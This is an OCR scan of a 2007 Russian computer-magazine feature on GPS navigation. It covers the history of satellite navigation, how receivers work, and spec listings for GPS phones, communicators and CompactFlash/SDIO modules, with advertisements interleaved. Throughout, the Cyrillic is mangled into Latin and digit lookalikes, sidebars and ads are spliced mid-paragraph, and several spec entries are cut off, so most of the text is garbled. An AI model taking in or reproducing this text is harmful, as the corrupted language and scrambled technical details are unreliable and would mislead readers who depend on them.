poccMMCKa/i pa3pa6oTKa «ri/IC Pycca» 
npMAeTcn no b K ycy Ty p i/i CT a m . 


3 TecT-flpaMB: 
ot Teopun k npaxTMKe 

■ KoMnaHMM, nocraB/miOLAMe Ha poccMM- 
ckm m pbiHOK GPS-HaBMraTopbi, Hanepe- 
6 om pacxBa/iMBaiOT cbom ympoMCTBa, 
TaKTMHHo yMa/iHMBan 06 mx HeAOCTaT- 
Kax. HTo6bi noH^Tb, HacKOJibKO pea/ib- 
HocTb cooTBeTCTByeT 3351 B/ieH h bi m xa- 
paKTepMCTM K3M, H3UJM nOCT051HHbie 
aBTopbi npoBe/iM TecTMpoBaHMe He- 
CKOJlbKMX KapT Ha pa3JlMHHblX GPS- 
ycTpoMCTBax b MocKBe m l1eTep6ypre. 
no/iyneHHbie pe3y/ibTaTbi roBop/iT o 
tom, hto ocHOBHbie npo6/ieMbi pa6oTbi 
GPS-HaBMraTopoB b poccmmckmx yc/io- 
BM51X 06B51CH51 10TC51 He C6051MM TeXHM- 
km (ee cjDyHKUMOHa/ibHocTb KaK pa3 He 
Bbi3Ba/ia HMKaKMx HapeKaHMM), a 
0WM6KaMn, AonyiAeHHbiMM npn aAan- 
TauMM 3anaAHoro 110 k OTenecTBeH- 
HbiM pea/iM5iM m nepeBOAe ero Ha pyc- 
CKMM 513blK. KpOMe TOTO, KpMTMHeCKMe 
3aMenaHM5i Bbi3biBaeT m HeAOCTaTOH ho 
onepaTMBHoe o6HOB/ieHMe KapTorpa- 
CjDMHeCKOM MHC|30pMaUMM, HTO o6"b53CH5q- 
eTC5i HeKanecTBeHHbiM cepBMCHbiM 06- 
c/iy>KMBaHMeM, 3aMeTHO ycTynaioiAMM 
EBpone m CLUA. 


CAejiaTt CHCTeMy 6ojiee coBepmeHHOH, 
ABHXeHHe CnyTHHKOB CHCTeMBI GPS 
HaXOAHTCH nOA nOCTOHHHBIM KOHTpOJICM 
Ha3eMHBIX CTaHAHH CJiexeHHB. 

Ha3eMHBie CTaminH onpeAejimoT napa- 
MeTpBi ABHxceHHH cnyTHHKa h nepeAaiOT 
3Ty HH(J)OpMaiJ:HK) oGpaTHO Ha CnyTHHK, 
3aMeHBH eio b naMHTH GopTOBoro kom- 
m>K)Tepa npe>KHHe AaHHBie. 

TaKHM o6pa30M, CnyTHHKH CHCTeMBI 
GPS BcerAa nepeAaiOT HH(J)opMau;HOH- 
HBie COOGmeHHH O CBOeM TOHHOM nOJIO- 
aceHHH Ha opGHTe. Bee bhabi npneMHH- 
KOB GPS HCnOJIB3yiOT 3TH AaHHBie BMeC- 
Te C HH(J)OpMaiIHeH, 3aKJHOHeHHOH B aJIB- 
MaHaxe, a^ toto htoGbi ycTaHOBHTB 
TOHHoe nojioxeHHe Ka^cAoro cnyTHHKa. 

flonoM orpaHMHeHMd! 

flojirne toabi poccHHCKHe BoeHHBie 
HaCTOpOXeHHO OTHOCHJIHCB K B03M03C- 
HOCTHM, npeAOCTaBJIHeMBIM yCTpOHC- 
TBaMH GPS-HaBHrau;HH. B Pocchh 


cymecTBOBajm cepBe3HBie orpaHHne- 
HHH Ha TOHHOCTB OnpeACJieHHH KOOp" 

AHHaT, OAHaKO c 1 HHBapH 2007 roAa 
ohh 6 bijih chhtbi. TenepB CTajio B03 - 
mOvKhbim onpeAejieHHe hcthhhbix 
KOO pAHHaT Ha MeCTHOCTH C TOHHOCTBK) 

jiynme 30 m h HcnojiB30BaHHe kocmh- 

neCKHX CHHMKOB C BBICOKHM npO- 
CTpaHCTBeHHBiM pa3penieHHeM. 

Co CTOpOHBI BOeHHBIX 3TO 6 bIJI CKO- 

pee BBmyxAeHHBiH mar. flejio b tom, 
hto, HecMOTpH Ha cymecTBOBaBiiiHe 
3anpeTBi, Ha npaKTHKe hx hhkto He 
coGjuoAaji. KpOMe toto, onpeAejiHTB 
KOOpAHHaTBi KaKoro-jinGo oG^eKTa 
MOvKHO BooGiAe Ge3 HenocpeACTBeHHO- 
ro HcnojiB30BaHHH GPS-annapaTypBi — 
AOCTaTOHHO BOcnojiB30BaTBC5i nporpaM- 
moh Google Earth. 

HaKOHeu, cjieAyeT noHHMaTB h to, hto 
peaJIBHaH B03M0XH0CTB H3MeHeHHB TOH- 
HOCTH OnpeAeJieHHH KOOpAHHaT KOHTpO" 
jiHpyeTCH CTpaHOH, BjiaAeiomeH kocmh- 


necKOH rpynnHpOBKOH, to ecTB CILIA. 
He ceKpeT, hto CHCTeMa GPS, Aonoji- 
HeHHaH pa3JIHHHBIMH HHTeHCH(J)HAHpy- 
lOIAHMH TeXHOJIOTHHMH (HanpHMep, TQO- 
CHHXpOHHBIM HaJI03CeHHeM) , n03B0JIHeT 
aMepHKaHCKHM BoeHHBiM yxe ceroAHH 
onpeAejiHTB KOOpAHHaTBi C TOHHOCTBK) AO 

1 cm (0,4 AiOHMa)! 

■ ■ ■ flMMTpMM UJyjlbriiH 



OOpamancb BOKpyr naaHeTbi, cnyTHMKM 
GPS npOXOflflT Hafl KOHTpOJlbHblMM CTaHUMD- 
MM flBa>KflbI B CyTKM 


s±\ 


CHIP I AnPEJlb 2007 


45 





am? TOP STORY 


1 flOpiaTMBHbie npOBOflHMKM: 


Mo6mibHbie ycTpoMCTBa c GPS 


Bpeivm cneunajiM 3 npoBaHHbix GPS-ycTpcmcTB, npeflHa 3 HaHeHHbix a/ih MaccoBoro pbiHKa, 
yxoflMT. CoBpeMeHHbie HaBMraui/iOHHbie Hi/mbi KOMnaKTHbi m Hefloporw, hto no 3 BOJineT 
ocHai^aTb cfDyHKUMew moOanbHoro no 3 nui/iOHi/ipoBaHMfl Aawe MoOmibHbie Te/iecjDOHbi. 


1o6n^bHbie Te/iec(30Hbi c GPS 




Benefon Twig Discovery 

l1poM3BOflMTejib: Benefon 

AApec b 1/lHTepHeTe: www.benefon.com 

CTaHflapTbi: GSM 900/1800/1900 

Pa3pemeHMe axpaHa, AK)MMOB/nnKC./uBeTOB: 2/176x220/262 144 
Bpen/ifl paOoTbi, h (owMflamie/pasroBop): 160/7 
naMBTb RAM (03Y)/R0M (n3Y), M6aMT: 10/32 
KapTbi pacmMpeHRB: tpopMai/eMKOCTb, MOaMT: miniSD/flo 1024 
UeHa, $: 1200 


iemens SXG75 

lOMSBOflHienb: Siemens 

ipec b 1/lHTepHeTe: www.siemens.ru 

aHflapTbi: UMTS/GSM 900/1800/1900 

i3pemeHiie axpaHa, AK)MMOB/nnKC./uBeTOB: 2/176x220/262 144 
ieMfl paOoTbi, h (o>KMflaHMe/pa3roBop): 400/6 
iMHTb RAM (03Y)/R0M (n3Y), M6aMT: 64/128 
ipTbi pacuJupeHMa: tpopMai/eMKOCTb, M6aiiT: RS-MMC/flO 1024 
!Ha, $: 490 


nnapaT co6paH no-HeMeuKM ao6potho. KpoMe 
paKTMHecKM o6fl3aie/ibHbix USB m Bluetooth 
h ocHameH eu\e m IrDA. My/ibTHMeAua Bbiiue 
cakmx noxBa/i: flee KaMepbi, FM-paAMonpMeMHMK, 
IP3- i/i MPEG4-nponrpbiBaTe/in. 

PS-MOAy/ib noflflep>KMBaeT cjoy h kum ho A-GPS, 
OTOpafl A/153 nOBbllUeHMR TOHHOCTM MecTono/io- 
teHMfl MO>KeT MCn0/lb30BaTb nOflCKa3KM 6a30BblX 
Ta h 141/1 m onepaiopa. Annapai noAAcp>KMBaeT 
peABapme/ibHO npo/ioweHHbm Mapwpyr, npu 
MeHe HanpaB/ieHMfl ABMweHMR BbiAaiOTai 
o/iocoBbie npeAynpe>KAeHMR, ripn 3tom KapTbi 
octouhho noArpy>KaK)TC5i M3 1/lHTepHeia. 
AMHCTBeHHbIM HKDaHC: pyCCKMX 3/ieKTpOHHblX 
apT pj\n 3tom moacjim noKa He cyiAecTByei. 


OiHocMTe/ibHo KpynHbie pa3Mepbi hobom Tpy6KM 
o6b51CH51K)TC51 BCTpoeHHbIM GPS-npMeMHMKOM C 
BHyipeHHeM aHTeHHOM m KopnycoM noBbiweHHOM 
npOHHOCTM. B OCHOBe HaBMraUMOHHOM CMCTe- 
Mbi — 12-KaHa^bHbiM HMn SiRF Star II. Oco6bm 
a/iropMTM pa6oTbi Twig Discovery Ae/iaeT ero 
nOXO>KMM Ha MHOr03aA3HHblM CMapTC|DOH: 
KaneHAapb, coo6iAeHM5i, HaBV\vau,m pa6oTaiOT 
He3aBMCMMO Apyr ot Apyra, a Ha>KaTMe khoiikm 
«Ot6om» B03BpaiAaei Ha rnaBHbm 3KpaH, ho He 
3aKpbiBaei npM/ioweHMe. fl/ia nepeK/HOHeHMR 
Me>KAy npM/10>KeHM51MM C/iy>KMT KHOnKa Ha JieBOM 
6oKy annapaia. ripeAycMOTpeHa m «TpeBO>KHafl 
KHonKa», npn Ha>KaTMM Ha KOTopyio Te/iecfDOH 
BbicbmaeT SMS c TeKyiAMMM KoopAMHaiaMM. 


B 3 T 0 M pa 3 flene 

TaK HaHMHa/iacb GPS 
npi/iHui/mbi pa6oTbi npi/ieMHi/iKa 
JlyHLUMM HaBMrauMOHHbm Hi/m 
GPS-KOMMyHI/IKaTOpbl 
GPS-Te/iec}DOHbi 
GPS-MOfly/i n 


BHaiane 6bm umuoHaw 

HAeii ncnojib 30 BaTb KOCMUHecKne anna- 
para AJ in HaBHranHH Hanana pa 3 BHBaTbca 
b AMepnxe nocjie 3anycxa CCCP b 
1957 roAy nepBoro ncKyccTBeHHoro cnyr- 
HHKa. B CIIIA 6 bijia nocTaBjieHa 3aAana 
cjiexeHHH 3 a coBeTCKHMH cnyranKaMn 
nocpeACTBOM npneMa nx cnraajiOB Ha 
Ha 3 eMHOM nyHKTe C H 3 BeCTHbIMn KOOp- 
AHHaTaMH, BbiAejieHHir AonjiepOBCKoro 
CABnra Hecymen nacTora n AaJibHenmero 
pacneTa napaMeTpOB nx ABH^eHnn. 
CjieAOM Bnojme ecTecTBeHHO B 03 HHKJia n 
B 03 M 03 CH 0 CTB pemeHHH oGpaTHon 3 aAann: 
pacneTa KoopAHHaT npneMHHKa Ha 3 eMjie 
Ha OCHOBe o6pa6oTKH npHHHToro cnmajia 
OT CnyTHHKa C H 3 BeCTHOH OpGHTOH H CKO- 
POCTBK) ABHTKeHHH. 

Pa 3 BHBaTb HAeio CTajin BoeHHbie: ajih 
oGecneneHHH nycxa GajuiHCTHnecKHx 
paxeT c noABOAHbix jioaok b 1964 roAy 
6 buia C 03 AaHa AorniepOBCKan cnyraHKO- 
Ban paAHOHaBHraifHOHHaiT CHCTeMa nep- 
boto noKOJieHHH Transit, KOTOpan, Bnpo- 
neM, aobojibho CKopo, b 1967 roAy, 
6 buia paccexpeneHa ajih KOMMepnecxoro 
Hcnojib 30 BaHHH. IlpHneM hhcjio rpax- 
AaHCKHx noTpeGHTejien BCKOpe cymecT- 
BeHHO npeBbiCHJio KOJinnecTBO BoeHHbix. 

C pa 3 pa 6 oTKon aTOMHbix nacoB b 
1960 roAy CTajio bo3moxoh>im HcnojH> 30 - 
BaTb jsjm HaBHrauHH cexb tohho craxpo- 

HH 3 HpOBaHHbIX nepeAaTHHKOB. PaCCHHTaTb 
KOOpAHHara yAajiocb GjiaroAapn H 3 Mepe- 
hhk) BpeMeHHbix 3 aAep>KeK. 

B 1973 roAy Bee nporpaMMbi BBC h 
BMC CIIIA 6bum oObeAHHeHbi b 
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IIEUJKOM II B ABT0M05MJ1E 


| Bee MoftiuibHbie ycTpowcTBa c 
tJjyHKUMeM GPS mem xperuieHHfl /pin yciaHOBKM b MauiMHe - 
BXOflflLUMG B KOMnJieKT HJIH fipOflaKILUMeCfl flOflOJlHmeJlbHO 


o6myK) HaBHraiiHOHHyio TexHOJiorHnecxyio nporpaMMy, 
no3^Hee npeBpaTHBinyiocii b Navstar-GPS. IlepBaii niTaT- 
Haii op6HTajiBHaii rpynnnpOBxa coBpeMeHHOH CHCTeMBi 
pa3BOpaHHBajiaci> c hiohh 1989-ro no MapT 1994 roAa. Ilpn 
3tom Ha op6my 6bijih BBiBeACHBi 24 HaBnrai^noHHBix 
cnyTHHKa Block II. Hojihoctbio GPS-cncTeMa 6buia BBe- 
AeHa b SKcnjiyaTapnio b 1995 roAy. B HacTonmee BpeMH 
OHa oGcjiyxHBaeTcn Mkhmctcpctbom o6opohbi CIHA. 
B caMOM KOHpe nponuioro Bexa k cncTeMe 6bijio AoOaBjie- 
ho eme neTtipe cnyraHxa cjieAyiomero noxojieHHH. 


(lpmimin pa6oTbi npneMHMKa 

Kax yjxe roBOpnjiocb BBinie, b ochobc onpeAejieHHH xoop- 
AHHaT GPS-npneMHHxa jiejKHT BBinncjieHHe paccTOHHHH 
ot Hero ao HecxojiBXHx cnyTHHxoB, pacnojiojxeHHe xoto- 
pBIX CHHTaeTCH H3BeCTHLIM. C yneTOM HeH36eXCHBIX HCXa- 
JKeHHH, BHOCHMBIX BJIHHHHeM aTMOCCjiepBI, HecoBepmeHC- 
TBa annapaTypLi h t. n. npneMHHx AOjnxeH bhactb oaho- 
BpeMeHHo He MeHee neTBipex cnyTHHxoB. Bojibhihhctbo 
GPS-yCTpOHCTB OCHameHO xax MHHHMyM 12-XaHaJIBHBIMH 
npHeMHHxaMH, 6ojiee coBpeMeHHBie ycTponcTBa hmciot 
20 xaHajiOB, hto no3BOJineT OAHOBpeMeHHO o6pa6aTBiBaTB 
HH(J)opMau;HK) c 20 cnyTHHxoB, to ecTB OTCJiejKHBaTB Bee 
HaBHraAHOHHBie cnyTHHxn, HaxoAHiAHecu b 30He paAHO- 
bhahmocth oOtexTa (ajih Pocchh Taxoe xojiHnecTBO xaHa- 

JIOB H3JIHHIHe, Tax XaX CTOJIBXO CnyTHHXOB MOXHO OAHO- 
BpeMeHHO HaCHHTaTB JIHHIB nOA 3XBATOpOM) . 

HaBHrapHOHHBiH npneMHHx CHraajiOB jxim GPS -CHCTeMBi 
coctoht H3 co6ctbchho npHeMHoro MOAyjm h MajioraOa- 
pHTHOH aHTeHHBI C MaJIOHiyMHBIM yCHJIHTeJieM. npHeMHBIH 
MOAyjiB MoxeT npeACTaBjiHTB co6oh xax aBTOHOMHoe ycT- 
pOHCTBO CO BCTpOeHHBIMH HCTOHHHXaMH nHTaHHH, Tax H 
OTACJiBHyio roiaTy, BCTpaHBaeMyio b KITK, xoMMyHnxaTOp, 
cotobbih Tejie(J)OH hjih xoMm>K)Tep. OnpeAejieHHe HaBHra- 
AHOHHBIX napaMeTpOB MOJKeT npOH3BOAHTBC5I B AByX peXCH- 
Max — 2D (AByxMepHOM) h 3D (npocTpaHCTBeHHOM). 
B pejKHMe 2D onpeAejnnoTCii nmpOTa h AOJiroTa (BBicoTa 
CHHTaeTCH H3BeCTHOH). IlpH 3TOM AOCTaTOHHO npHCyTC- 
TBHH B 30He paAHOBHAHMOCTH TpeX CnyTHHXOB. BpeMH 
onpeAejieHHH xoopahhbt b pexcHMe 2D He npeBBimaeT AByx 
MHHyT. /],jih onpeAejieHHH npocTpaHCTBeHHtix xoopahhat 
aOoHeHTa (pejKHM 3D) TpeOyeTcn, hto6bi b cooTBeTCTByio - 
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men 30He HaxoAHjioct He MeHee neTBipex cnyTHHxoB. TorAa 
BpeMH oOHapyxeHHH coctbbht He 6ojiee Tpex MHHyr, norpem- 
hoctb — He Gojiee 50 MeTpoB. 3 to npeAejitHBie pnc^pBi, peajitHo 
npHeMHHX oOblHHO HaXOAHT BCK) HeoGxOAHMyK) HH(J)OpMau:HK) 
MeHee neM 3a MHHyTy, a norpeniHOCTB cocTaBjineT jihhib 10 MeT- 
pOB (3 th pHcjDpBi cooTBeTCTByiOT OAHOBpeMeHHOMy npHeMy CHT- 
Hajia OT HieCTH-BOCBMH GPS -CnyTHHXOB). 

3Be3fla HaBuraiuw 

CepAAeM jik)6oto abtohomhoto hjih BCTpoeHHoro HaBHrau;HOH- 
Horo MOAyJiH HBjiaeTCH GPS -ran. Ero 3aAana — o6pa6oTxa cht- 
HajiOB, npHHHMaeMBix co cnyTHHxoB, h OnpeAejieHHe Ha hx ocho- 
Be MecTonojiojxeHHH npHHHMaiomero GPS-ycTponcTBa. B noAaB- 
JIHIOIAeM GoJIBHIHHCTBe COBpeMeHHLIX yCTpOHCTB 3TO SiRF Star 
III aMepHxaHCxoii xoMnaHHH SiRF Technology. Ero 3Hara- 
TejiBHBiM npeHMymecTBOM nepeA ApyrnMH noTpeOHTejiBCXHMH 
pemeHHHMH hbjihctch ObiCTpOAeHCTBHe, a Taxace bo3mojkhoctb 
oOcneTa cjiaGoro (h, hto ocoGchho BajKHO, OTpajxeHHoro) enr- 
Hajia b ycjiOBHHx njiOTHOH 3acTpoiixH OojiBHioro ropOAa hjih 
b rycTOM jiecy. Eojiee moiahbih annapaT oOcneTa no3BOJiHeT 
ynHTBiBaTB Aajxe Te cnmajiBi, xoTOpBie OTOpaxoBbiBajiHCb rana- 
mh npeABiAyiAHx noxojieHHH. rio3TOMy ecjiH paHbine ajih choc- 
hoh paOoTBi GPS-npneMHHxa b jiecy hjih ropOAe TpeOoBajiact 
npHjiHHHaH aHTeHHa 6ojn>moro pa3Mepa (npHneM jiynine Bcero 
BBiHOCHan), to Tenept Aa>xe c HeOojiBinoH BCTpoenHOH aHTeH- 





OnTHMecKne ahckh. 


5 AMCKeTbi i/i aKceccyapbi 


AKp i /IB npOBOfl l /ITCB 
c 1 anpe/iB no 31 mi o/ib 2007 r. 


Hoym6yK • MP3 nneep • paduomenet/jOH 



SmartBuy o6i»hbjih@t KOHKypc Ha HynmyK) pa6oTy H3 
TBoero co6cTBeHHoro apxHBa. Pa3MecTn Ha caHTe SmartBuy 
HHTepecHbie <j)OTorpa(j)i/ii/i / Konna>K i/ihi/i pi/icyHOK - 1/1 Tbi 
CMO>KeLiJb BbmrpaTb o^hh H3 cynepnpn30B hhh nonyHHTb 
nooLLtpi/iTe/ibHbM npi /13 ot SmartBuy. 

OI4EHMBAIOT PABOTbl nOCETMTEJIM CAMTA! 


r onocyu ujiu npouepaeuib! 

floflpo6HOCTn Ha www.smartbuydisc.ru 
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flopora 6e3 npo6oK 


HOH nOpTaTHBHOrO yCTpOHCTBa MOXCHO 
OpneHTHpOBaTBCH AOCTaTOUHO CTa6HJIB- 
ho. KoHenHO, aHTeHHa Toxe BaxHa, 
ho npH npOHHx paBHBix ycjiOBHHx SiRF 
Star III pa6oTaeT, Kax npaBHjio, jiyurne 
KOHKypeHTOB . KTOMy xe oh oSjia^aeT 
noHHxeHHBiM 3HepronoTpe6jieHHeM h 
MO^ceT noaaep^rmaTb cpa3y 20 napaji- 
jiejiBHBix KaHajiOB. 

npocTO no6aBb I1K 

/(axe HcnojiHeHHBiH xax OT^ejiBHoe 
yCTpOHCTBO, GPS-npHCMHHK AJI 5 T p££0- 
Boro nojiB 30 BaTeji 5 T He MOxceT 6 bitb 
C aMOAOCTaTOHHBIM. Oh BBI^aeT KOOp- 
AHHaTBi b BH^e Tpex u;H(J)p: reorpac[)H- 
necKair ninpoTa, AOJiroTa h BBicoTa Ha# 
ypOBHeM MopH. Taxxe yKa3biBaeTcn 
TOHHoe MecTHoe BpeMH. Heyxejin 
HyXCHO KaXABIH pa 3 npHBH 3 BIBaTB ttaH- 


HBie k KapTe? fljin 3 toto Ha^o o 6 jia,aaTb 
xoTii 6 bi 3 anaTKaMH KapTorpacbnuec- 
KOH rpaMOTBI H MaCCOH CB060£H0r0 
BpeMeHH. CoBepmeHHO ecTecTBeHHO 
nepejioxHTB 3 Ty HeOjiaro^apHyio pa 6 o- 
Ty Ha nporpaMMHoe oOecneuemie, 
KOTOpOe H KOOpAHHaTBI k KapTe npH- 
BiTXCeT, H KpaTHaHIHHH nyTB npOJIOXHT, 
h AonojiHHTejiBHBie cepBHCBi o 6 ecne- 
wr: no^CKa 3 KH o noro^e b nyTH cjie- 
A OBaHHH, npoOxax, POI (Points of 
Interest — tocthhhiibi, xacbe, 3 anpaB- 
kh, flocTonpHMenaTejiBHOCTH h Apyrne 
tohkh, npe^CTaBjiHiomHe HHTepec ajih 
nyTemecTBeHHHKa) . 

IlooTOMy Bee GPS-npHeMHHKH ocira- 
meHBi cpeacTBaMH cbh 3 h c ko m n b tOTep o m , 
coBpeMeHHbie, xax npaBHjio, Hcnojib 3 yiOT 
USB h Bluetooth. HeKOTOpbie npneMHH- 
kh BbinycKaiOTcn b cneu;HajiBHBix cjDopM- 


B 6ojibWMHCTBe KpynHbix ropoflOB Mi/ipa, rAe 
odpo ctomt npo6/ieMa npo6oK, ecib cneuMa/ib- 
Haa cny>K6a, nepeAafomafl no KaHa/iaM Mo6M/ib- 
HOM CBA3M aKTya/lbHyfO MHC|30pMaUMK) o npo6Kax 
Ha Aoporax. TaK, b MocKBe noAo6Hyfo yc/iyry 
npeAOcraB/meT c/iy>K6a «CMI/Ijimhk — cbo6oa- 
Hbie Aoporn». OHa BbiAaei MHcf)opMaunK) o 
npo6Kax m pa6oiaei b CBA3Ke c HaBMrauMOHHOM 
nporpaMMOM PocketGPS Pro Moscow. BMecre 
ohm cnoco6Hbi npoKBaAbmaTb Heo6xoAMMbm 
MapmpyT c yneTOM AopowHOM CMTyapMM. 
l/lHc)DopMai 4 MH o npo6Kax nepeAaeTca no GPRS, 
fl/lfl MCn0/lb30BaHM51 CMCTeMbl Heo6fl3aTe/lbHO 
MMeTb AOporoil M rp0M03AKMM 6opTOBOM 
aBT 0 M 06 M/lbHblM KOMnbfOTep — AOCTaTOHHO 
KOMMyHMKaiopa mjim KnK, pa6oTafoiAero 
noAynpaBBeHMeM onepapMOHHOM CMCTeMbl 
Windows Mobile 5.0/2003 SE/2003 m noAK/ifo- 
neHHoro k klHTepHeiy (sto mo>kho CAe/iaTb npn 
noMOiAM coTOBoro Te/iec|)OHa m/im npMcoeAMHae- 
Moro GPRS-MOAy/ifl). 


GPS-MOAyJiM 



Pretec CompactGPS 

npoii 3 BOfliiTejib: Pretec Electronics Corporation 

Aflpec b MHTepHeTe: www.pretec.ru 
cDopM-t|)aKTop: CompactFlash 
GPS-HMn: CompactFlash 
UeHa, $: 105 



GlobalSat SD-502 

npoM3BOflMTejib: GlobalSat Technology Corporation 
AApec b MHTepHeTe: www.globalsat.su 
d>opM-c|)aKTop: SDI0 
GPS-HMn: SiRF Star III 
UeHa, $: 170 



Haicom HI-303 

npoM3BOflMTenb: Haicom Electronics Corporation 
AApec b MHTepHeTe: www.haicom.com.tw 
d>opM-c|)aKTop: CompactFlash 
GPS-HMn: SiRF Star III 
UeHa, $: 90 


HaBMrauMOHHbm MOAynb b cf)opM-c|DaKTope 
CompactFlash co BcrpoeHHOM aHTeHHOM A/ifl 
yCTaHOBKM B Mo6MJlbHbieyCTpOMCTBa. npn 
Ha/iMHMM PCMCIA-auamepa ero mo>kho 
McnoBb30BaTb m b Hoyi6yKax. Oh MMeeT 12- 
KaHa^bHyio cm ere My c/ieweHMfl (HMn SiRF Star 
II), ocHaiueH co6cTBeHHOM 6aTapeePi nMTaHMa, 
6/iaroAapfl neMy b HaM6o/iee 3HeproeMKMe 
MOMeHTbl — npM BK/IKDHeHMM M 3anMCM B C 06 c- 
TBeHHyK) naM5Hb — He pampas MBaeTca 
3HeprM5i caMoro Mo6MBbHoro ycrpoMCTBa. 


GPS-npMeMHMK, BbinO/lHeHHblM B cf)OpM- 
cjDaKTope SDI0, MMeeT 512 M6aMT tyneui- 
naMHTM. B^aroAapFi 3TOMy naMHTb ochobhohd 
ycTpoPicTBa He neperpy>KaeTC5i HaBMrapMOH- 
HbiMM KapTaMM m 110. CAe^aH HaBMraTop 
Ha 6a3e 20-KaHa/ibHoro HMna SiRF Star III. 
AKTMBHa5i BCTpoeHHafi aHTeHHa noBbimaeT 
HyBCTBMTe/lbHOCTb npMeMHMKa, HTO HeMa/lO- 
b3>kho npM MMHMaTiopHbix pa3Mepax. 

K COWaneHMK), B03MO>KHOCTb nOAK^fOHeHMfl 
BHemHePi aHTeHHbi OTcyTCTByeT. 


HI-303 — y>Ke TpeTb^ BepcM^ 3Toro ycTpoM- 
CTBa, hto CBMAeTe/ibCTByeT 06 yAanHocTM m 
nony/mpHOCTM peiueHM 5 i: cnepMa^bHbm 
SiRFX-Trak V2, K/iaccMHecKMM Ha SiRF Star II, 
m noc/ieAHMM — Ha SiRF Star III. l 1 pM 6 op 
COBMeCTMM CO MHOTMMM yCTpOMCTBaMM, 

TaK KaK MMeeT mhokcctbo MHTepcfieMCOB: 
CompactFlash, COM (RS-232), USB, Mini-1394. 

YCTpOMCTBO CHa6>KeHO HyBCTBMTe/lbHOM 
BCTpoeHHOM aHTeHHOM M pa 3 beMOM A/lfl 
noAK^foneHMfl 3 Ktmbhom BHeiuHeM aHTeHHbi. 
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KoMMymiKaTopbi c GPS 


FSC Pocket L00XT830 

npoM 3 BOAMTejib: Fujitsu-Siemens Computers 
Aflpec b 1/lHTepHeie: www.fujitsu-siemens.com 

3KpaH: Tiin/fliiaroHajib, akmmob: ceHCopHbm TFT/ 2,4 
Pa3peweHiie, Tonex/Kon-Bo abbtob: 240x 240/65 536 
BpeMB padoTbi, h (o>KMAaHiie/pa3roBop): 150/4 
naMBTb RAM (03Y)/R0M (n3Y), M6aiiT: 64/128 
UeHa, $: 800 

Mofle/ib c MomHbiM npoueccopoM 


Intel XScaLe PXA270 (416 MTp). B ee 
aKTnBe HOB3R BepcnR Windows Mobile 
5.0, OT/iMHafomaRCR TeM, hto HMKaKne 



AaHHbie He nponaflafOT Aawe npw no/iHOM 
OTK/IKDHeHMM. B Ha/IMHMM M MefOTCR BCe 
B03MO>KHbie 6ecnpoBOAHbie cpeACTBa: 
GSM/GPRS/UMTS, Bluetooth (2.0), Wi-Fi 
(802.11) m, pa3yMeeTC5i, BCTpoeHHaa 
cnyTHMKOBaR HaBMrapMfl. B npMAany k 
ceHcopHOMy 3KpaHy ycrpoMCTBO MMeeT 
eme m no/iHopeHHyK) QWERTY-K/iaBMaTypy. 
C/lOTbl RJ\n KapT paClUMpeHMfl MaKCHMa/lbHO 
yHMBepca/ibHbi m noAAepwMBafOT KapTbi 
cf)opMaTOB SD, MMC, SDIO. 


HTC P3300 

npoii 3 BOAMTejib: HTC Corporation 
AApec b Hhtbphbtb: www.europe.htc.com 

3xpaH: mn/AMaroHajib, akjmmob: ceHCopHbm/2,8 
Pa3pewemie, Tonex/Kon-Bo abbtob: 240x320/65 536 
Bpbmb padoTbi, h (o>KMAaHMB/pa3roBop): 200/4 
llaMBTb RAM (03Y)/R0M (n3Y), MdaMT: 64/128 
UBHa, $: 680 

MoAejib c 6ojibiuMM KaK no pa3Mepy, TaK m 
no pa3peiueHMfo 3KpaHOM npM ra6apmax 
HeHaMHoro 6ojibwe o6biHHoro coTOBoro 
Te/iec|DOHa (108x58x16,8 mm). YnpaB/ifleTCR 



npw noMOiAM ceHcopHoro 3KpaHa m 
HecKOJibKMx coc|DT-KnaBHLu. rioAAep>KMBaeT 
CMdeMbi nepeAaiM AaHHbix EDGE m GPRS 
(o6a — Knacc 10). YnieHa n My/ibTMMeAHMHaR 
cocTaB/iflfoiAafl: MP3, ciepeo FM, 
2-MerannKce/ibHaR KaMepa co cbctoahoahom 
BC nbllUKOM. KOMMyHMKaUMR TafOKe 
Ha ypoBHe — USB, Bluetooth, Wi-Fi 
h Aawe IrDA. 1/13 KapT naMRTM P3300 
noAAep>KMBaeTCR TO/ibKO microSD. CMcreMa 
GPS peajm30BaHa Ha HMneSiRFStarlll. 


(J>aKTOpax ajih ycTaHOBKH b cooTBeTCTByiomHe ycTpoftcTBa: 
b BH^e PCMCIA- KapT ajih HoyT6yKOB, SDIO — ajih 
moGhjibhbix ycTpoircTB. 

BcTpeuaeTcn h 3K30thka. Tax, KOMnaHHH GlobalSat 
npeACTaBHjia GPS-npHeMHHK, BbinojiHeHHbiH b BHAe 
HapyuHbix nacoB. Oh AaeT nojiB30BaTejno bo3moxhoctb 
onpeAejiHTB ko op ahh aTBi h coxpaHHTb hx b naMirra. 
YcTpoircTBO MOvKHO noAKJiHDHHTB k HoyrGyKy, KI1K mjih 
KOMM yHHKaTOpy. ^pyraa aMepuKaHCKaa KOMnaHun, AVID 
Identification Systems, pa3pa6oTajia GPS-MHKponnn (pa3Me- 
pOM c pncoBoe 3epHBimKo), KOTOpBift BxcHBjiHeTCii co6axe B 
xojiKy, HTo6bi MOvKHO 6buio GbiCTpo Haitra noTepuBinerocn 
AOMamHero jhoGhmha. 

OAHaxo aBTOHOMHbie GPS-npueMHHKH nocTeneHHO 
BbITeCHJHOTCn MOGHJIbHBIMH yCTpOHCTBaMH CO BCTpOeHHbIM 
GPS-MOAyJieM — npe^Ate Bcero KOMMyHHKaTOpaMH. Oho h 
noHHTHo: noTpedHTejib nojiyuaeT HaBHraijHK) , cbh3b (npH- 
neM rojiocoByio h nepeAauy AaHHbix, hto BaxcHO ajih Aonoji- 
HHTeJIbHblX HaBHraAHOHHblX CepBHCOB) H B03M03CH0CTH 
KapMaHHoro IIK b oahom ycTponcTBe. 

KpOMe toto, HHTerpaijHH GPS-MOAyJin yace npH6jiH3H- 
jiacb k toh nepTe, KorAa caMa TexHOJioran nouTH HHuero He 
CTOHT, TO eCTb AOCTaTOHHO A06pOH BOJIH npOH3BOAHTeJIH, 
htoGbi HaBHraitHOHHan cbyHKHHH 6buia BKjnoneHa b ycT- 
poncTBO 6e3 cymecTBeHHoro yBejiHueHHH u;eHbL Ctohmoctb 
BCT paHBaeMOH GPS-CHCTeMbi ceroAHH cocTaBjweT nopHAKa 
$10, to ecTb OHa conocTaBHMa co BCTpoeHHoir c[)OTOKaMe- 
poH hjih MOAyaeM Bluetooth. 

■ ■ ■ flMMTpMM KAeonoB 


o 

K SmartTrack* 

Hocme/IM MHcjDopMaunn m aKceccyapbi 


AKAUfl npOBOflMTCa 

